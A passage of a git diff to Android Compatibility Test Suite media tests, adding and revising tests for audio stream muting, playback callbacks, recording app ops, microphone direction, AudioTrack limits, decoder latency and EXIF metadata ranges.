+        assertEquals("Unexpected default usage", AudioAttributes.USAGE_UNKNOWN, aa.getUsage());
+        assertEquals("Unexpected default content type",
+                AudioAttributes.CONTENT_TYPE_UNKNOWN, aa.getContentType());
+    }
+
+    // -----------------------------------------------------------------
+    // Capture policy tests
+    // ----------------------------------
     public void testAllowedCapturePolicy() throws Exception {
         for (int setPolicy : new int[] { AudioAttributes.ALLOW_CAPTURE_BY_ALL,
                                       AudioAttributes.ALLOW_CAPTURE_BY_SYSTEM,
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 2618c3d..90f517a 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -190,13 +190,6 @@
 
     @AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
     public void testMicrophoneMuteIntent() throws Exception {
-        // Skip this test for automotive.
-        // This tests listens for ACTION_MICROPHONE_MUTE_CHANGED which AudioService only broadcasts
-        // to system user. Automotive devices, which runs in secondary user, will fail this test.
-        if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
-            return;
-        }
-
         if (!mDoNotCheckUnmute) {
             final MyBlockingIntentReceiver receiver = new MyBlockingIntentReceiver(
                     AudioManager.ACTION_MICROPHONE_MUTE_CHANGED);
@@ -1284,6 +1277,41 @@
                     mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
             assertTrue("Alarm stream should be muted",
                     mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
+            assertFalse("Ringer stream should not be muted",
+                    mAudioManager.isStreamMute(AudioManager.STREAM_RING));
+        } finally {
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+        }
+    }
+
+    public void testPriorityOnlySystemDisallowedWithRingerMuted() throws Exception {
+        if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
+            return;
+        }
+
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        try {
+            // ensure volume is not muted/0 to start test, but then mute ringer
+            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 0, 0);
+            mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+
+            // allow only system in priority only
+            mNm.setNotificationPolicy(new NotificationManager.Policy(
+                    NotificationManager.Policy.PRIORITY_CATEGORY_SYSTEM, 0, 0));
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+            // delay for streams to get into correct mute states
+            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+
+            assertTrue("Music (media) stream should be muted",
+                    mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
+            assertTrue("System stream should be muted",
+                    mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
+            assertTrue("Alarm stream should be muted",
+                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
 
             // Test requires that the phone's default state has no channels that can bypass dnd
             assertTrue("Ringer stream should be muted",
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
index 6256175..21f7a1b 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
@@ -33,6 +33,7 @@
 import android.media.AudioPlaybackConfiguration;
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
+import com.android.internal.annotations.GuardedBy;
 
 import java.lang.reflect.Method;
 import java.util.ArrayList;
@@ -361,16 +362,16 @@
     }
 
     private static class MyAudioPlaybackCallback extends AudioManager.AudioPlaybackCallback {
-        private int mCalled = 0;
-        private int mNbConfigs = 0;
-        private List<AudioPlaybackConfiguration> mConfigs;
         private final Object mCbLock = new Object();
+        @GuardedBy("mCbLock")
+        private int mCalled;
+        @GuardedBy("mCbLock")
+        private List<AudioPlaybackConfiguration> mConfigs;
 
         void reset() {
             synchronized (mCbLock) {
                 mCalled = 0;
-                mNbConfigs = 0;
-                mConfigs.clear();
+                mConfigs = new ArrayList<AudioPlaybackConfiguration>();
             }
         }
 
@@ -381,9 +382,7 @@
         }
 
         int getNbConfigs() {
-            synchronized (mCbLock) {
-                return mNbConfigs;
-            }
+            return getConfigs().size();
         }
 
         List<AudioPlaybackConfiguration> getConfigs() {
@@ -393,13 +392,13 @@
         }
 
         MyAudioPlaybackCallback() {
+            reset();
         }
 
         @Override
         public void onPlaybackConfigChanged(List<AudioPlaybackConfiguration> configs) {
             synchronized (mCbLock) {
                 mCalled++;
-                mNbConfigs = configs.size();
                 mConfigs = configs;
             }
         }
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java b/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
index 5509682..54e7142 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
@@ -16,7 +16,7 @@
 
 package android.media.cts;
 
-import static android.app.AppOpsManager.OP_RECORD_AUDIO;
+import static android.app.AppOpsManager.OPSTR_RECORD_AUDIO;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -77,11 +77,12 @@
                     .build();
 
             // The app op should be reported as not started
-            assertThat(appOpsManager.isOperationActive(OP_RECORD_AUDIO,
+            assertThat(appOpsManager.isOpActive(OPSTR_RECORD_AUDIO,
                     uid, packageName)).isFalse();
 
             // Start watching for app op active
-            appOpsManager.startWatchingActive(new int[] {OP_RECORD_AUDIO}, listener);
+            appOpsManager.startWatchingActive(new String[] { OPSTR_RECORD_AUDIO },
+                    getContext().getMainExecutor(), listener);
 
             // Start recording
             candidateRecorder.startRecording();
@@ -89,11 +90,11 @@
 
             // The app op should start
             verify(listener, timeout(APP_OP_CHANGE_TIMEOUT_MILLIS)
-                    .only()).onOpActiveChanged(eq(OP_RECORD_AUDIO),
+                    .only()).onOpActiveChanged(eq(OPSTR_RECORD_AUDIO),
                     eq(uid), eq(packageName), eq(true));
 
             // The app op should be reported as started
-            assertThat(appOpsManager.isOperationActive(OP_RECORD_AUDIO,
+            assertThat(appOpsManager.isOpActive(OPSTR_RECORD_AUDIO,
                     uid, packageName)).isTrue();
 
 
@@ -107,11 +108,11 @@
 
             // The app op should stop
             verify(listener, timeout(APP_OP_CHANGE_TIMEOUT_MILLIS)
-                    .only()).onOpActiveChanged(eq(OP_RECORD_AUDIO),
+                    .only()).onOpActiveChanged(eq(OPSTR_RECORD_AUDIO),
                     eq(uid), eq(packageName), eq(false));
 
             // The app op should be reported as not started
-            assertThat(appOpsManager.isOperationActive(OP_RECORD_AUDIO,
+            assertThat(appOpsManager.isOpActive(OPSTR_RECORD_AUDIO,
                     uid, packageName)).isFalse();
         } finally {
             if (recorder != null) {
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordTest.java b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
index 6ea560a..d39725b 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
@@ -35,12 +35,14 @@
 import android.media.AudioTrack;
 import android.media.MediaRecorder;
 import android.media.MediaSyncEvent;
+import android.media.MicrophoneDirection;
 import android.media.MicrophoneInfo;
 import android.media.cts.AudioRecordingConfigurationTest.MyAudioRecordingCallback;
 import android.os.Handler;
 import android.os.Looper;
 import android.os.Message;
 import android.os.PersistableBundle;
+import android.os.Process;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
 import android.util.Log;
@@ -631,12 +633,14 @@
         }
 
         AudioRecord recorder = null;
+        String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+        int currentUserId = Process.myUserHandle().getIdentifier();
 
         // We will record audio for 20 sec from active and idle state expecting
         // the recording from active state to have data while from idle silence.
         try {
             // Ensure no race and UID active
-            makeMyUidStateActive();
+            makeMyUidStateActive(packageName, currentUserId);
 
             // Setup a recorder
             final AudioRecord candidateRecorder = new AudioRecord.Builder()
@@ -670,7 +674,7 @@
             // Start clean
             buffer.clear();
             // Force idle the package
-            makeMyUidStateIdle();
+            makeMyUidStateIdle(packageName, currentUserId);
             // Read five seconds of data
             readDataTimed(recorder, 5000, buffer);
             // Ensure we read empty bytes
@@ -679,7 +683,7 @@
             // Start clean
             buffer.clear();
             // Reset to active
-            makeMyUidStateActive();
+            makeMyUidStateActive(packageName, currentUserId);
             // Read five seconds of data
             readDataTimed(recorder, 5000, buffer);
             // Ensure we read non-empty bytes
@@ -689,7 +693,7 @@
                 recorder.stop();
                 recorder.release();
             }
-            resetMyUidState();
+            resetMyUidState(packageName, currentUserId);
         }
     }
 
@@ -1629,25 +1633,67 @@
         return totalSilenceCount > valueCount / 2;
     }
 
-    private static void makeMyUidStateActive() throws IOException {
-        final String command = "cmd media.audio_policy set-uid-state "
-                + InstrumentationRegistry.getTargetContext().getPackageName() + " active";
+    private static void makeMyUidStateActive(String packageName, int userId) throws IOException {
+        final String command = String.format(
+                "cmd media.audio_policy set-uid-state %s active --user %d", packageName, userId);
         SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
     }
 
-    private static void makeMyUidStateIdle() throws IOException {
-        final String command = "cmd media.audio_policy set-uid-state "
-                + InstrumentationRegistry.getTargetContext().getPackageName() + " idle";
+    private static void makeMyUidStateIdle(String packageName, int userId) throws IOException {
+        final String command = String.format(
+                "cmd media.audio_policy set-uid-state %s idle --user %d", packageName, userId);
         SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
     }
 
-    private static void resetMyUidState() throws IOException {
-        final String command = "cmd media.audio_policy reset-uid-state "
-                +  InstrumentationRegistry.getTargetContext().getPackageName();
+    private static void resetMyUidState(String packageName, int userId) throws IOException {
+        final String command = String.format(
+                "cmd media.audio_policy reset-uid-state %s --user %d", packageName, userId);
         SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
     }
 
     private static Context getContext() {
         return InstrumentationRegistry.getInstrumentation().getTargetContext();
     }
+
+    /*
+     * Microphone Direction API tests
+     */
+    public void testSetPreferredMicrophoneDirection() {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        try {
+            boolean success =
+                    mAudioRecord.setPreferredMicrophoneDirection(
+                            MicrophoneDirection.MIC_DIRECTION_TOWARDS_USER);
+
+            // Can't actually test this as HAL may not have implemented it
+            // Just verify that it doesn't crash or throw an exception
+            // assertTrue(success);
+        } catch (Exception ex) {
+            Log.e(TAG, "testSetPreferredMicrophoneDirection() exception:" + ex);
+            assertTrue(false);
+        }
+        return;
+    }
+
+    public void testSetPreferredMicrophoneFieldDimension() {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        try {
+            boolean success = mAudioRecord.setPreferredMicrophoneFieldDimension(1.0f);
+
+            // Can't actually test this as HAL may not have implemented it
+            // Just verify that it doesn't crash or throw an exception
+            // assertTrue(success);
+        } catch (Exception ex) {
+            Log.e(TAG, "testSetPreferredMicrophoneFieldDimension() exception:" + ex);
+            assertTrue(false);
+        }
+        return;
+    }
+
 }
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index 4ab16ff..1434e1b 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -2653,6 +2653,46 @@
         }
     }
 
+    @Test
+    public void testMaxAudioTracks() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        // The framework must not give more than MAX_TRACKS tracks per UID.
+        final int MAX_TRACKS = 512; // an arbitrary large number > 40
+        final int FRAMES = 1024;
+
+        final AudioTrack[] tracks = new AudioTrack[MAX_TRACKS];
+        final AudioTrack.Builder builder = new AudioTrack.Builder()
+            .setAudioFormat(new AudioFormat.Builder()
+                .setEncoding(AudioFormat.ENCODING_PCM_8BIT)
+                .setSampleRate(8000)
+                .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
+                .build())
+            .setBufferSizeInBytes(FRAMES)
+            .setTransferMode(AudioTrack.MODE_STATIC);
+
+        int n = 0;
+        try {
+            for (; n < MAX_TRACKS; ++n) {
+                tracks[n] = builder.build();
+            }
+        } catch (UnsupportedOperationException e) {
+            ; // we expect this when we hit the uid track limit.
+        }
+
+        // release all the tracks created.
+        for (int i = 0; i < n; ++i) {
+            tracks[i].release();
+            tracks[i] = null;
+        }
+        Log.d(TAG, "" + n + " tracks were created");
+        assertTrue("should be able to create at least one static track", n > 0);
+        assertTrue("was able to create " + MAX_TRACKS + " tracks - that's too many!",
+            n < MAX_TRACKS);
+    }
+
 /* Do not run in JB-MR1. will be re-opened in the next platform release.
     public void testResourceLeakage() throws Exception {
         final int BUFFER_SIZE = 600 * 1024;
diff --git a/tests/tests/media/src/android/media/cts/CodecUtils.java b/tests/tests/media/src/android/media/cts/CodecUtils.java
index 15314ef..ab509fb 100644
--- a/tests/tests/media/src/android/media/cts/CodecUtils.java
+++ b/tests/tests/media/src/android/media/cts/CodecUtils.java
@@ -168,6 +168,73 @@
         return counter;
     }
 
+    /**
+     * This method verifies the rotation degrees of a bitmap by reading the colors on its corners.
+     * The bitmap without rotation (rotation degree == 0) looks like
+     * red    |    green
+     * -----------------
+     * blue   |    white
+     * with resolution equals to 320x240.
+     */
+    public static boolean VerifyFrameRotationFromBitmap(Bitmap bitmap, int targetRotation) {
+        if (targetRotation == 0 || targetRotation == 180) {
+            if (bitmap.getWidth() != 320 || bitmap.getHeight() != 240) {
+                return false;
+            }
+            Color left_top = Color.valueOf(bitmap.getPixel(10, 10));
+            Color right_top = Color.valueOf(bitmap.getPixel(310, 10));
+            Color left_bottom = Color.valueOf(bitmap.getPixel(10, 230));
+            Color right_bottom = Color.valueOf(bitmap.getPixel(310, 230));
+            if (targetRotation == 0) {
+                if (!isRed(left_top) || !isGreen(right_top)
+                        || !isBlue(left_bottom) || !isWhite(right_bottom)) {
+                    return false;
+                }
+            } else {
+                if (!isWhite(left_top) || !isBlue(right_top)
+                        || !isGreen(left_bottom) || !isRed(right_bottom)) {
+                    return false;
+                }
+            }
+        } else if (targetRotation == 90 || targetRotation == 270) {
+            if (bitmap.getWidth() != 240 || bitmap.getHeight() != 320) {
+                return false;
+            }
+            Color left_top = Color.valueOf(bitmap.getPixel(10, 10));
+            Color right_top = Color.valueOf(bitmap.getPixel(230, 10));
+            Color left_bottom = Color.valueOf(bitmap.getPixel(10, 310));
+            Color right_bottom = Color.valueOf(bitmap.getPixel(230, 310));
+            if (targetRotation == 90) {
+                if (!isBlue(left_top) || !isRed(right_top)
+                        || !isWhite(left_bottom) || !isGreen(right_bottom)) {
+                    return false;
+                }
+            } else {
+                if (!isGreen(left_top) || !isWhite(right_top)
+                        || !isRed(left_bottom) || !isBlue(right_bottom)) {
+                    return false;
+                }
+            }
+        }
+        return true;
+    }
+
+    private static boolean isRed(Color color) {
+        return color.red() > 0.95 && color.green() < 0.05 && color.blue() < 0.05;
+    }
+
+    private static boolean isGreen(Color color) {
+        return color.red() < 0.05 && color.green() > 0.95 && color.blue() < 0.05;
+    }
+
+    private static boolean isBlue(Color color) {
+        return color.red() < 0.05 && color.green() < 0.05 && color.blue() > 0.95;
+    }
+
+    private static boolean isWhite(Color color) {
+        return color.red() > 0.95 && color.green() > 0.95 && color.blue() > 0.95;
+    }
+
     public static void saveBitmapToFile(Bitmap bitmap, String filename) {
         try {
             File outputFile = new File(Environment.getExternalStorageDirectory(), filename);
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index 699df64..041b112 100644
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -40,6 +40,7 @@
 
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+import com.android.compatibility.common.util.MediaPerfUtils;
 import com.android.compatibility.common.util.MediaUtils;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
@@ -56,6 +57,7 @@
 import java.util.concurrent.TimeUnit;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
+import java.util.stream.LongStream;
 
 import static android.media.MediaCodecInfo.CodecProfileLevel.*;
 
@@ -63,6 +65,7 @@
 @AppModeFull(reason = "There should be no instant apps specific behavior related to decoders")
 public class DecoderTest extends MediaPlayerTestBase {
     private static final String TAG = "DecoderTest";
+    private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
 
     private static final int RESET_MODE_NONE = 0;
     private static final int RESET_MODE_RECONFIGURE = 1;
@@ -3336,4 +3339,135 @@
         PackageManager pm = mContext.getPackageManager();
         return pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
     }
+
+    public void testLowLatencyAVC() throws Exception {
+        testLowLatencyVideo(
+                R.raw.video_1280x720_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz, 300);
+    }
+
+    public void testLowLatencyHEVC() throws Exception {
+        testLowLatencyVideo(
+                R.raw.video_480x360_mp4_hevc_650kbps_30fps_aac_stereo_128kbps_48000hz, 300);
+    }
+
+    private void testLowLatencyVideo(int testVideo, int frameCount) throws Exception {
+        AssetFileDescriptor fd = mResources.openRawResourceFd(testVideo);
+        MediaExtractor extractor = new MediaExtractor();
+        extractor.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+        fd.close();
+
+        MediaFormat format = null;
+        int trackIndex = -1;
+        for (int i = 0; i < extractor.getTrackCount(); i++) {
+            format = extractor.getTrackFormat(i);
+            if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+                trackIndex = i;
+                break;
+            }
+        }
+
+        assertTrue("No video track was found", trackIndex >= 0);
+
+        extractor.selectTrack(trackIndex);
+        format.setFeatureEnabled(MediaFormat.KEY_LOW_LATENCY, true /* enable */);
+
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
+        String decoderName = mcl.findDecoderForFormat(format);
+        if (decoderName == null) {
+            MediaUtils.skipTest("no low latency decoder for " + format);
+            return;
+        }
+        Log.v(TAG, "found decoder " + decoderName + " for format: " + format);
+
+        Surface surface = getActivity().getSurfaceHolder().getSurface();
+        MediaCodec decoder = MediaCodec.createByCodecName(decoderName);
+        decoder.configure(format, surface, null /* crypto */, 0 /* flags */);
+        decoder.start();
+
+        ByteBuffer[] codecInputBuffers = decoder.getInputBuffers();
+        ByteBuffer[] codecOutputBuffers = decoder.getOutputBuffers();
+        MediaFormat decoderInputFormat = decoder.getInputFormat();
+        MediaFormat decoderOutputFormat = null;
+
+        // start decoding
+        final long kTimeOutUs = 1000000;  // 1 second
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+        int bufferCounter = 0;
+        long[] latencyMs = new long[frameCount];
+        boolean waitingForOutput = false;
+        long startTimeMs = System.currentTimeMillis();
+        while (bufferCounter < frameCount) {
+            if (!waitingForOutput) {
+                int inputBufferId = decoder.dequeueInputBuffer(kTimeOutUs);
+                if (inputBufferId < 0) {
+                    Log.v(TAG, "no input buffer");
+                    break;
+                }
+
+                ByteBuffer dstBuf = codecInputBuffers[inputBufferId];
+
+                int sampleSize = extractor.readSampleData(dstBuf, 0 /* offset */);
+                long presentationTimeUs = 0;
+                if (sampleSize < 0) {
+                    Log.v(TAG, "had input EOS, early termination at frame " + bufferCounter);
+                    break;
+                } else {
+                    presentationTimeUs = extractor.getSampleTime();
+                }
+
+                startTimeMs = System.currentTimeMillis();
+                decoder.queueInputBuffer(
+                        inputBufferId,
+                        0 /* offset */,
+                        sampleSize,
+                        presentationTimeUs,
+                        0 /* flags */);
+
+                extractor.advance();
+                waitingForOutput = true;
+            }
+
+            int outputBufferId = decoder.dequeueOutputBuffer(info, kTimeOutUs);
+
+            if (outputBufferId >= 0) {
+                waitingForOutput = false;
+                //Log.d(TAG, "got output, size " + info.size + ", time " + info.presentationTimeUs);
+                latencyMs[bufferCounter++] = System.currentTimeMillis() - startTimeMs;
+                // TODO: render the frame and find the rendering time to calculate the total delay
+                decoder.releaseOutputBuffer(outputBufferId, false /* render */);
+            } else if (outputBufferId == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                codecOutputBuffers = decoder.getOutputBuffers();
+                Log.d(TAG, "output buffers have changed.");
+            } else if (outputBufferId == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                decoderOutputFormat = decoder.getOutputFormat();
+                Log.d(TAG, "output format has changed to " + decoderOutputFormat);
+            } else {
+                fail("No output buffer returned without frame delay, status " + outputBufferId);
+            }
+        }
+
+        assertTrue("No INFO_OUTPUT_FORMAT_CHANGED from decoder", decoderOutputFormat != null);
+
+        LongStream longStream = Arrays.stream(latencyMs);
+        long latencyMean = (long)longStream.average().getAsDouble();
+        long latencyMax = longStream.max().getAsLong();
+        Log.d(TAG, "latency average " + latencyMean + " ms, max " + latencyMax + " ms");
+
+        DeviceReportLog log = new DeviceReportLog(REPORT_LOG_NAME, "video_decoder_latency");
+        String message = MediaPerfUtils.addPerformanceHeadersToLog(
+                log, "decoder stats: decodeTo=" + ((surface == null) ? "buffer" : "surface"),
+                0 /* round */, decoderName, format, decoderInputFormat, decoderOutputFormat);
+        log.addValue("video_res", testVideo, ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("decode_to", surface == null ? "buffer" : "surface",
+                ResultType.NEUTRAL, ResultUnit.NONE);
+
+        log.addValue("average_latency", latencyMean, ResultType.LOWER_BETTER, ResultUnit.MS);
+        log.addValue("max_latency", latencyMax, ResultType.LOWER_BETTER, ResultUnit.MS);
+
+        log.submit(getInstrumentation());
+
+        decoder.stop();
+        decoder.release();
+        extractor.release();
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
index 467bc9d..59dc6e7 100644
--- a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
@@ -18,9 +18,11 @@
 
 import android.content.res.TypedArray;
 import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
 import android.media.ExifInterface;
 import android.os.Environment;
 import android.os.FileUtils;
+import android.os.StrictMode;
 import android.platform.test.annotations.AppModeFull;
 import android.system.ErrnoException;
 import android.system.Os;
@@ -32,6 +34,7 @@
 
 import java.io.BufferedInputStream;
 import java.io.ByteArrayInputStream;
+import java.io.EOFException;
 import java.io.File;
 import java.io.FileDescriptor;
 import java.io.FileInputStream;
@@ -68,6 +71,9 @@
     private static final String PENTAX_K5_PEF = "pentax_k5.pef";
     private static final String SAMSUNG_NX3000_SRW = "samsung_nx3000.srw";
     private static final String VOLANTIS_JPEG = "volantis.jpg";
+    private static final String WEBP_WITH_EXIF = "webp_with_exif.webp";
+    private static final String PNG_WITH_EXIF_BYTE_ORDER_II = "png_with_exif_byte_order_ii.png";
+    private static final String PNG_WITHOUT_EXIF = "png_without_exif.png";
 
     private static final String[] EXIF_TAGS = {
             ExifInterface.TAG_MAKE,
@@ -110,8 +116,13 @@
         public final float longitude;
         public final float altitude;
 
-        // Values.
+        // Make information
+        public final boolean hasMake;
+        public final int makeOffset;
+        public final int makeLength;
         public final String make;
+
+        // Values.
         public final String model;
         public final float aperture;
         public final String dateTimeOriginal;
@@ -165,8 +176,13 @@
             longitude = typedArray.getFloat(index++, 0f);
             altitude = typedArray.getFloat(index++, 0f);
 
-            // Reads values.
+            // Reads Make information.
+            hasMake = typedArray.getBoolean(index++, false);
+            makeOffset = typedArray.getInt(index++, -1);
+            makeLength = typedArray.getInt(index++, -1);
             make = getString(typedArray, index++);
+
+            // Reads values.
             model = getString(typedArray, index++);
             aperture = typedArray.getFloat(index++, 0f);
             dateTimeOriginal = getString(typedArray, index++);
@@ -275,14 +291,7 @@
                 assertEquals(expectedValue.thumbnailOffset, thumbnailRange[0]);
                 assertEquals(expectedValue.thumbnailLength, thumbnailRange[1]);
             }
-            byte[] thumbnailBytes = exifInterface.getThumbnailBytes();
-            assertNotNull(thumbnailBytes);
-            Bitmap thumbnailBitmap = exifInterface.getThumbnailBitmap();
-            assertNotNull(thumbnailBitmap);
-            assertEquals(expectedValue.thumbnailWidth, thumbnailBitmap.getWidth());
-            assertEquals(expectedValue.thumbnailHeight, thumbnailBitmap.getHeight());
-            assertEquals(expectedValue.isThumbnailCompressed,
-                    exifInterface.isThumbnailCompressed());
+            testThumbnail(expectedValue, exifInterface);
         } else {
             assertNull(exifInterface.getThumbnailRange());
             assertNull(exifInterface.getThumbnail());
@@ -310,6 +319,23 @@
         }
         assertEquals(expectedValue.altitude, exifInterface.getAltitude(.0), DIFFERENCE_TOLERANCE);
 
+        // Checks Make information.
+        String make = exifInterface.getAttribute(ExifInterface.TAG_MAKE);
+        assertEquals(expectedValue.hasMake, make != null);
+        if (expectedValue.hasMake) {
+            assertNotNull(exifInterface.getAttributeRange(ExifInterface.TAG_MAKE));
+            if (assertRanges) {
+                final long[] makeRange = exifInterface
+                        .getAttributeRange(ExifInterface.TAG_MAKE);
+                assertEquals(expectedValue.makeOffset, makeRange[0]);
+                assertEquals(expectedValue.makeLength, makeRange[1]);
+            }
+            assertEquals(expectedValue.make, make.trim());
+        } else {
+            assertNull(exifInterface.getAttributeRange(ExifInterface.TAG_MAKE));
+            assertFalse(exifInterface.hasAttribute(ExifInterface.TAG_MAKE));
+        }
+
         // Checks values.
         assertStringTag(exifInterface, ExifInterface.TAG_MAKE, expectedValue.make);
         assertStringTag(exifInterface, ExifInterface.TAG_MODEL, expectedValue.model);
@@ -359,6 +385,31 @@
         }
     }
 
+    private void testExifInterfaceForStandalone(String fileName, int typedArrayResourceId)
+            throws IOException {
+        ExpectedValue expectedValue = new ExpectedValue(
+                getContext().getResources().obtainTypedArray(typedArrayResourceId));
+
+        // Test for reading from external data storage.
+        fileName = EXTERNAL_BASE_DIRECTORY + fileName;
+
+        File imageFile = new File(Environment.getExternalStorageDirectory(), fileName);
+        String verboseTag = imageFile.getName();
+
+        FileInputStream fis = new FileInputStream(imageFile);
+        // Skip the following marker bytes (0xff, 0xd8, 0xff, 0xe1)
+        fis.skip(4);
+        // Read the value of the length of the exif data
+        short length = readShort(fis);
+        byte[] exifBytes = new byte[length];
+        fis.read(exifBytes);
+
+        ByteArrayInputStream bin = new ByteArrayInputStream(exifBytes);
+        ExifInterface exifInterface =
+                new ExifInterface(bin, ExifInterface.STREAM_TYPE_EXIF_DATA_ONLY);
+        compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
+    }
+
     private void testExifInterfaceCommon(String fileName, ExpectedValue expectedValue)
             throws IOException {
         File imageFile = new File(Environment.getExternalStorageDirectory(), fileName);
@@ -396,6 +447,59 @@
         }
     }
 
+    private void testExifInterfaceRange(String fileName, ExpectedValue expectedValue)
+            throws IOException {
+        File imageFile = new File(Environment.getExternalStorageDirectory(), fileName);
+        InputStream in = null;
+        try {
+            in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
+            if (expectedValue.hasThumbnail) {
+                in.skip(expectedValue.thumbnailOffset);
+                byte[] thumbnailBytes = new byte[expectedValue.thumbnailLength];
+                if (in.read(thumbnailBytes) != expectedValue.thumbnailLength) {
+                    throw new IOException("Failed to read the expected thumbnail length");
+                }
+                // TODO: Need a way to check uncompressed thumbnail file
+                if (expectedValue.isThumbnailCompressed) {
+                    Bitmap thumbnailBitmap = BitmapFactory.decodeByteArray(thumbnailBytes, 0,
+                            thumbnailBytes.length);
+                    assertNotNull(thumbnailBitmap);
+                    assertEquals(expectedValue.thumbnailWidth, thumbnailBitmap.getWidth());
+                    assertEquals(expectedValue.thumbnailHeight, thumbnailBitmap.getHeight());
+                }
+            }
+            // TODO: Creating a new input stream is a temporary
+            //  workaround for BufferedInputStream#mark/reset not working properly for
+            //  LG_G4_ISO_800_DNG. Need to investigate cause.
+            in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
+            if (expectedValue.hasMake) {
+                in.skip(expectedValue.makeOffset);
+                byte[] makeBytes = new byte[expectedValue.makeLength];
+                if (in.read(makeBytes) != expectedValue.makeLength) {
+                    throw new IOException("Failed to read the expected make length");
+                }
+                String makeString = new String(makeBytes);
+                // Remove null bytes
+                makeString = makeString.replaceAll("\u0000.*", "");
+                assertEquals(expectedValue.make, makeString.trim());
+            }
+            in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
+            if (expectedValue.hasXmp) {
+                in.skip(expectedValue.xmpOffset);
+                byte[] identifierBytes = new byte[expectedValue.xmpLength];
+                if (in.read(identifierBytes) != expectedValue.xmpLength) {
+                    throw new IOException("Failed to read the expected xmp length");
+                }
+                final String xmpIdentifier = "<?xpacket begin=";
+                assertTrue(new String(identifierBytes, StandardCharsets.UTF_8)
+                        .startsWith(xmpIdentifier));
+            }
+            // TODO: Add code for retrieving raw latitude data using offset and length
+        } finally {
+            IoUtils.closeQuietly(in);
+        }
+    }
+
     private void testSaveAttributes_withFileName(String fileName, ExpectedValue expectedValue)
             throws IOException {
         File srcFile = new File(Environment.getExternalStorageDirectory(), fileName);
@@ -411,8 +515,17 @@
         String backupValue = exifInterface.getAttribute(ExifInterface.TAG_MAKE);
         exifInterface.setAttribute(ExifInterface.TAG_MAKE, "abc");
